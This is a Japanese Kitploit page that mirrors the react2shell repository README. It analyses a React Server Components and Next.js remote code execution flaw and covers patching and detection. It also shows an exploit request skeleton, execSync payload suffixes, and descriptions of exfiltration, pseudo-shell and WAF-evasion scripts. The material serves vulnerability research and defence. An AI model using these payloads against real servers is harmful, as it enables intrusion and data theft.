Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
react2shell — CVE-2025-55182とCVE-2025-66478の分析 -- React2Shellの背後にある脆弱性。ツール、技術情報など | Kitploit
ツール/GitHubGitHub/freeqaz/react2shell
動的分析 (サンドボックス)脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育ペイロード開発
GitHubfreeqaz/react2shell

react2shell

CVE-2025-55182とCVE-2025-66478の分析 -- React2Shellの背後にある脆弱性。ツール、技術情報など

68188ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

React2Shell: React Server Components における RCE 0-day

CVE-2025-55182(React)および CVE-2025-66478(Next.js)

このリポジトリには、許可されたセキュリティテストおよび教育目的専用のエクスプロイトコードが含まれています。

関連情報: 複数の研究者がこの脆弱性の分析を公開しています。追加の視点、エクスプロイト手法、検出方法については、References セクションを確認してください。

これは何か?

2025年12月3日(水)、React Server Components における深刻なリモートコード実行(RCE)の脆弱性が公開されました。「React2Shell」と名付けられたこのバグは、認証されていない攻撃者が、脆弱なバージョンの React RSC または Next.js App Router を実行している任意のサーバー上で、単一の HTTP リクエストを送信するだけで任意のコードを実行できるようにするものです。

Next.js がこれほど普及している(現代のウェブの大部分を支えている)ことを考えると、この脆弱性の影響は深刻です。App Router(Next.js 13 以降の新規プロジェクトのデフォルト)を使用し、RSC を有効にしている Next.js アプリケーションはすべて脆弱です。特別な設定は不要です。特定のエンドポイントも不要です。任意のルートへの POST リクエストだけで十分です。

この脆弱性は、React Server Components でサーバーとクライアント間のデータ受け渡しに使用されるシリアライズ形式である React の「Flight」プロトコルに存在します。デシリアライズ時の hasOwnProperty チェックの欠如により、プロトタイプチェーンの走査が可能になり、最終的に JavaScript の Function コンストラクタに到達して攻撃者が制御するコードを実行できます。

この欠陥は、React の react-server-dom-webpack、react-server-dom-turbopack、react-server-dom-parcel パッケージに存在します。RSC の主要な利用者である Next.js は、App Router を通じてこの脆弱性の影響を受けます。

影響を受けるのは誰か?

多くのサービスが潜在的に脆弱です。Next.js は最も人気のある React フレームワークの1つであり、スタートアップからエンタープライズまであらゆる規模の企業で使用されています。React Server Components を備えた App Router はバージョン 13 以降、新しい Next.js プロジェクトのデフォルトアーキテクチャとなっているため、最新の Next.js デプロイメントのほとんどが影響を受けます。

以下を使用するすべてのアプリケーション:

  • 脆弱な react-server-dom-* パッケージ(19.0.0 〜 19.2.0)を使用する React Server Components
  • Next.js App Router バージョン 15.x(15.0.5 未満)および 16.x(16.0.7 未満)

これには、Vercel、AWS、セルフホスト型インフラストラクチャ、および Next.js App Router アプリケーションが実行されるその他すべての環境での本番デプロイメントが含まれます。

影響を受けないもの:

  • Next.js Pages Router アプリケーション(RSC なし)
  • Next.js 13.x および 14.x の安定版リリース
  • React のクライアントサイドレンダリングのみを使用するアプリケーション
  • Edge Runtime デプロイメント(process.mainModule が利用不可)

影響を受けるバージョン

React Server Components

PackageVulnerablePatched

Next.js

緩和策

直ちにアップグレードしてください。 回避策はありません。

Next.js アプリケーションの場合:

root@kitploit:~
npm install next@latest
# or
pnpm update next

React RSC を直接使用する場合:

root@kitploit:~
npm install react-server-dom-webpack@latest

インストールされているバージョンを確認する:

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

エクスプロイトの仕組み

エクスプロイトの前提条件

  1. 脆弱な React Server Components を実行しているサーバー(Next.js App Router または RSC の直接使用による)
  2. HTTP POST リクエストを送信するためのネットワークアクセス
  3. 以上です。認証は不要です。特定のエンドポイントも不要です。任意のルートで動作します。

攻撃

この脆弱性には複数の攻撃ベクトルが発見されています。最も一般的なもの(そして前提条件なしで動作するもの)は、React の Flight プロトコル参照システムを悪用したプロトタイプ汚染です。

このエクスプロイトは、Next-Action ヘッダーを付けた巧妙に細工された multipart POST リクエストを送信します。ペイロードは参照システムを悪用して以下を実行します:

  1. $1:__proto__:then を介してプロトタイプチェーンを走査する
  2. React の内部 Chunk クラスを模倣した偽の「chunk」オブジェクトを構築する
  3. デシリアライザを欺いて JavaScript の Function コンストラクタを呼び出させる
  4. 生成された関数が Promise の thenable として呼び出されたときに任意のコードを実行する
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

コードはデシリアライズ中、アクション ID の検証が行われる前に実行されます。つまり、任意の Next-Action ヘッダー値が脆弱なコードパスをトリガーします。有効なアクション ID は不要です。

その他の攻撃ベクトル も存在します。$F 関数参照や直接的なモジュールガジェットなどです。これらは通常、有効なアクション ID を必要とします。詳細については Alternative Attack Vectors を参照してください。

根本原因

React の Flight プロトコルは、$1:path:to:value のような参照をコロンで分割し、オブジェクトを走査して解決します:

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // No hasOwnProperty check!
}

皮肉なことに: このファイルの先頭、35行目に:

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

ガードはインポートされていました。利用可能でした。ただ、それが最も重要となるループで使用されていなかっただけです。

この単一のチェックの欠如により、$1:__proto__:then が chunk オブジェクトからプロトタイプチェーンを上って Chunk.prototype.then に到達できます。これは Promise のようなオブジェクトを処理する関数です。適切なプロパティを持つ偽の chunk を細工することで、実行されるコードを制御できます。

ローカルでの再現

脆弱なテストサーバーをクローン:

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

別のターミナルで:

root@kitploit:~
./detect.sh http://localhost:3443

脆弱なサーバーは、レスポンスボディに E{"digest" を含む HTTP 500 を返します。RCE を実証するには:

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

コマンドの出力がレスポンスに表示されます。対話的な探索には:

root@kitploit:~
./shell.sh http://localhost:3443

このリポジトリの内容

脆弱なテストサーバー

vulnerable-next-server/ ディレクトリには、安全なローカルテスト用に事前設定された Next.js 16.0.6 + React 19.2.0 アプリケーションが含まれています。デフォルトではポート 3443 で実行されます。これは、デフォルト設定が脆弱であることを示す最小限の App Router セットアップです。

エクスプロイトスクリプト

さまざまなシナリオに対応するため、複数のエクスプロイトバリアントを開発しました:

本番環境に関する注意: React は本番ビルドでエラーメッセージを削除するため、throw メソッドは機能しません。前提条件なしで本番環境のコマンド出力を確実に取得できるのは exploit-redirect.sh のみです。リダイレクト URL はエラーの digest プロパティ(メタデータ)に保存されます。これはサニタイズされません。一方、message は {digest: "..."} のみになります。

ユーティリティスクリプト:

  • detect.sh - 非破壊的な脆弱性プローブ(コード実行なし)
  • enumerate-actions.sh - ターゲット HTML から有効な Server Action ID を発見
  • exfil-file.sh - チャンク形式のファイル流出(大きなファイルを自動処理)
  • shell.sh - RCE 上の対話型擬似シェル

リダイレクト方式は、本番環境で動作し、前提条件が不要で、コマンド出力を直接返すため推奨されます。これは、特別に細工された NEXT_REDIRECT エラーをスローすることで機能します。出力は base64 エンコードされてリダイレクト URL に格納され、x-action-redirect ヘッダーで返されます。

各スクリプトの詳細な使用方法については、USAGE.md を参照してください。

脆弱なサーバーの検出方法

クイック検出

root@kitploit:~
./detect.sh https://target.com

これは、任意のコードを実行せずに脆弱なコードパスをトリガーする最小限のプローブを送信します。

脆弱なサーバーのレスポンス:

  • HTTP ステータス: 500
  • Content-Type: text/x-component
  • ボディに含まれるもの: E{"digest"

パッチ適用済みまたは非 RSC サーバー: 404、異なるエラーフォーマット、または Flight プロトコルレスポンスなしを返します。

手動検出

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

このプローブは、空のオブジェクト上の存在しないプロパティを参照します。脆弱なサーバーは {}.a.a へのアクセスでクラッシュし、500 を返します。パッチ適用済みサーバーにはクラッシュを防ぐ hasOwnProperty ガードがあります。

Next.js App Router の識別

以下の指標を探します:

  • HTML 内の RSC ペイロード: Flight プロトコルデータ(0:、1: など)を含む <script> タグ
  • x-nextjs-cache または x-nextjs-matched-path ヘッダー
  • /_next/ 静的アセットパス
  • HTML 内の Server Action ID: 隠しフォームフィールドの $ACTION_ID_ パターン

技術的な詳細

攻撃フロー

次の図は、単一の HTTP リクエストがどのようにリモートコード実行を達成するかを示しています:

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant N as Next.js
    participant F as Flight Parser
    participant JS as JS Engine

    A->>N: POST with Next-Action header + malicious payload
    N->>F: Parse multipart form data
    F->>JS: await getRoot - returns chunk as thenable

    rect rgb(80, 20, 20)
        Note over F,JS: VULNERABILITY - No hasOwnProperty check
        JS->>F: chunk.then parses $1:__proto__:then
        F-->>F: Traverses to Chunk.prototype.then
    end

    F->>JS: resolve(attackerObject)
    Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
    JS->>F: fakeChunk.then() with attacker's _response

    rect rgb(80, 20, 20)
        Note over F,JS: EXPLOITATION - Attacker controls _response
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
        F->>JS: Function(code) invoked as thenable
    end

    Note over JS: RCE - execSync() runs

    rect rgb(20, 60, 20)
        Note over A,JS: OUTPUT EXFILTRATION (redirect method)
        JS-->>F: throw NEXT_REDIRECT with base64(output)
        F-->>N: Error propagates up
        N-->>A: HTTP 303 + x-action-redirect header
    end

Flight プロトコル

React Server Components は、コンポーネントツリーをサーバーからクライアントにストリーミングするために「Flight」と呼ばれるカスタムシリアライズ形式を使用します。値のタイプごとにプレフィックスコードを使用します:

  • $1、$2、... - ID による他のチャンクへの参照
  • $@0 - 生のチャンクオブジェクト参照(値ではなくチャンク自体を返す)
  • $B0 - Blob 参照(_formData.get(_prefix + id) をトリガー)
  • $1:path:to:prop - 参照されたチャンクの値上のパスを走査

この脆弱性は、$@(生参照)とコロン区切りのパスの組み合わせを悪用して __proto__ にアクセスします。

完全な攻撃チェーン

フェーズ 1: リクエスト処理

  1. Next-Action ヘッダー付きの POST が RSC アクション処理をトリガー
  2. Busboy が multipart フォームフィールドをチャンクストレージにパース
  3. await getRoot(response) がチャンク 0 を thenable として返す

フェーズ 2: プロトタイプ走査

  1. チャンクには then メソッドがある - JS Promise 仕様が thenable.then(resolve, reject) を呼び出す
  2. ペイロードがパースされ、$1:__proto__:then が Chunk.prototype.then に解決される
  3. then、status: "resolved_model"、_response を持つ偽のチャンクオブジェクトが作成される

フェーズ 3: コード実行

  1. resolve(ourObject) が別の then() 呼び出しをトリガー(JS thenable 仕様)
  2. Chunk.prototype.then が、制御された _response オブジェクトを使用して実行される
  3. $B0 が _formData.get(_prefix + "0") をトリガー - 両方とも攻撃者が制御可能
  4. 構築された Function が thenable として呼び出される → RCE

フェーズ 4: 出力の外部流出 (任意、リダイレクト方式)

  1. ペイロードが base64 エンコードされたコマンド出力付きの NEXT_REDIRECT エラーをスロー
  2. Next.js がリダイレクトを捕捉し、URL 検証の前に x-action-redirect ヘッダーを設定
  3. 出力をヘッダーに含む HTTP 303 が攻撃者に返される

出力キャプチャ戦略

構築された Function は thenable として呼び出されます:fn(resolve, reject)。これをどう処理するかで、出力が返ってくるかどうかが決まります:

推奨:Redirect。 本番環境で動作し、前提条件が不要で、出力が x-action-redirect ヘッダーに含まれます。

ブラインド方式は、Promise が決して settled にならないためハングします。await が永久にブロックされます。これはファイア・アンド・フォーゲットのシナリオ(リバースシェル、curl による帯域外流出)に有用です。

代替攻撃ベクトル

この中核的な脆弱性は、3つの異なる攻撃クラスを通じて悪用されています。このリポジトリは最初のアプローチを使用しています。他の PoC は代替手段を示しています:

プロトタイプ汚染がアクション ID を必要としない理由: multipart フォームのパースは、チャンクを Flight デシリアライザに即座に渡します。RCE はチャンク参照解決中の getOutlinedModel() で発生します。これは Next.js がアクション ID を検証する前です。URL エンコードされたリクエストは、最初にアクション ID を検証します(action-handler.ts:768 の異なるコードパス)。

$F 参照がアクション ID を必要とする理由: $F 参照は loadServerReference() をトリガーし、マニフェストルックアップを実行します。アクションが存在しない場合、リクエストはコード実行前に失敗します。

すべての PoC 実装とそのトレードオフの詳細な分析については、external-pocs/COMPARISON.md を参照してください。

本番環境と開発環境

React は本番ビルドでエラー詳細を削除します。これは throw ベースの外部流出に影響します:

開発環境:

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

本番環境:

root@kitploit:~
{"digest":"..."}

リダイレクト方式はこれを迂回します。リダイレクト URL が message ではなく digest プロパティに保存されるためです。ヘッダーは URL 検証の前に無条件に設定されるため、無効な URL でもヘッダーが設定されます。

謝辞

$@ 生チャンク参照を使用して自己参照型の偽チャンクを作成するという重要なエクスプロイトの洞察は、maple3142 によるものです。ここで参照されている検出方法論は、Searchlight Cyber / Assetnote によるものです。

参考文献

公式開示:

  • CVE-2025-55182 - React Server Components RCE
  • CVE-2025-66478 - Next.js への下流への影響
  • React Security Advisory - React 公式開示

コミュニティリサーチ:

すべての PoC 実装の詳細な比較については、external-pocs/COMPARISON.md を参照してください。

背景:

  • React Flight Protocol - RSC シリアライズの理解

ライセンス

コードは MIT License の下でライセンスされています。ドキュメント(*.md ファイル)は CC-BY-SA 4.0 の下でライセンスされています。

ツールをダウンロード
react-server-dom-webpack
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
Version LineVulnerablePatched
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+
ScriptHTTPOutputProductionNotes
exploit-redirect.sh303x-action-redirect headerYes推奨。 前提条件なし。
exploit-throw.sh500Error response bodyNo開発モードのみ(本番ではエラーがサニタイズされる)。
exploit-blind.sh200Server-side onlyYesファイア・アンド・フォーゲット。OOB 流出に使用。
exploit-urlencoded.sh303x-action-redirect headerYes異なる WAF シグネチャ。アクション ID が必要。
exploit-reflect.sh200Response bodyYes最もステルス性が高い。アクション ID が必要。
StrategyPayload SuffixHow It Works
BlindexecSync('CMD');0実行するが解決されない - 接続がハングし、出力なし
Throwthrow execSync('CMD').toString()Promise を拒否し、出力がエラーボディに含まれる(開発モードのみ)
Redirectthrow {digest:'NEXT_REDIRECT;...;'+b64(output)}Next.js のリダイレクト処理を悪用し、出力がヘッダーに含まれる
Reflectarguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()])Promise をアクション引数としての出力で解決(有効なアクション ID が必要)
Attack ClassMechanismAction ID RequiredExample PoC
Prototype Pollution$1:__proto__:then traversal to Chunk.prototypeNoreact2shell, lachlan2k, joe-desimone
$F Function Reference$F1 + action#constructor to reach FunctionYesshellinteractive
Module Gadgetmodule#export syntax (e.g., child_process#execSync)Variesejpir research
AuthorContributionAttack PathNotable Features
lachlan2k最初の発見者プロトタイプ汚染Array.map チェーン、5チャンク構造、Waku サポート
ejpirガジェット研究すべてのパスモジュールガジェットカタログ、永続化攻撃、データ URI パス
joe-desimonePython ツールプロトタイプ汚染リバースシェルヘルパー、コールバック流出、タイムアウト検出
labubusDest / MrR0b0t19対話型シェル$F 関数参照Python REPL、ファイルアップロード/ダウンロード、組み込みテストスイート
Searchlight Cyber検出方法—高精度な検出方法論、WAF シグネチャ